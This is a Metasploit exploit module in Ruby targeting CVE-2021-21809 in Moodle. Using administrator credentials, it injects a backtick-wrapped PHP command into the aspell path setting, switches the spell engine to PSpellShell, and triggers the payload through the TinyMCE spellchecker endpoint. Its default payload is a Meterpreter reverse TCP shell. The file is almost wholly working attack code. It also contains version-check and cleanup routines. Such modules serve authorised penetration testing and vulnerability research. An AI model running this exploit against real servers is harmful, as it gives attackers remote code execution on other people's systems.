# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle SpellChecker Path Authenticated Remote Command
Execution',
'Description' => %q{
Moodle allows an authenticated administrator to define spellcheck
settings via the web interface.
An administrator can update the aspell path to include a command
injection. This is extremely
similar to CVE-2013-3630, just using a different variable.
This module was tested against Moodle version 3.11.2, 3.10.0,
and 3.8.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Adam Reiser', # Discovery
'h00die' # msf module
],
'References' => [
['CVE', '2021-21809'],
['URL',
'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
],
'DefaultOptions' => { 'Payload' =>
'php/meterpreter/reverse_tcp' },
'Payload' => {
'BadChars' => "'"
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2021-06-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with',
'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with',
'']),
]
)
end
def change_aspellpath(value = '')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin',
'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error retrieving settings') unless
res
res.body =~ /sesskey":"([^"]+)"/
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin',
'settings.php'),
'vars_get' =>
{
'section' => 'systempaths'
},
'vars_post' =>
{
'section' => 'systempaths',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's__pathtophp' => '',
's__pathtodu' => '',
's__aspellpath' => value,
's__pathtodot' => '',
's__pathtogs' => '/usr/bin/gs',
's__pathtopython' => ''
},
'keep_cookies' => true
})
end
def set_spellchecker(checker = '')
# '' is None in the gui, and is the default
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin',
'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the
target.') unless res
res.body =~ /sesskey":"([^"]+)"/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin',
'settings.php'),
'vars_get' =>
{
'section' => 'tinymcespellcheckersettings'
},
'vars_post' =>
{
'section' => 'tinymcespellcheckersettings',
'action' => 'save-settings',
'sesskey' => Regexp.last_match(1),
'return' => '',
's_tinymce_spellchecker_spellengine' => checker,
's_tinymce_spellchecker_spelllanguagelist' =>
'+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv'
# default
},
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'No response received from the
target.') unless res
end
def check
return CheckCode::Unknown('No web server or moodle instance found')
unless moodle_and_online?
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if
v.nil?
# according to talso advisory, 2021-04-21 - Vendor updated
documentation to suggest best practices after installation
# so maybe this is not going to get patched? Assuming 3.0.0+
if Rex::Version.new(v) > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v}
detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v}
detected")
end
def exploit
print_status("Authenticating as user:
#{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'],
datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials')
if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Updating aspell path')
# Site administration, Server, Server, System paths
change_aspellpath("`php -r \"#{payload.encoded}\" &`")
print_status('Changing spell engine to PSpellShell')
set_spellchecker('PSpellShell')
# Administration, Plugins, Text editors, TinyMCE HTML editor,
Legacy Spell Checker
spellcheck =
'{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status('Triggering payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'editor',
'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Error triggering payload') if
res
end
# prefer cleanup over on_session since we may have changed
things, regardless of successful exploit
def cleanup
print_status('Sleeping 5 seconds before cleanup')
Rex.sleep(5)
print_status("Authenticating as user:
#{datastore['USERNAME']}")
cookie_jar.clear # clear cookies to prevent timeouts
cookies = moodle_login(datastore['USERNAME'],
datastore['PASSWORD'])
if cookies.nil? || cookies.empty?
print_bad('Failed login during cleanup')
else
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_status('Removing RCE from settings')
change_aspellpath
set_spellchecker
end
super
end
end
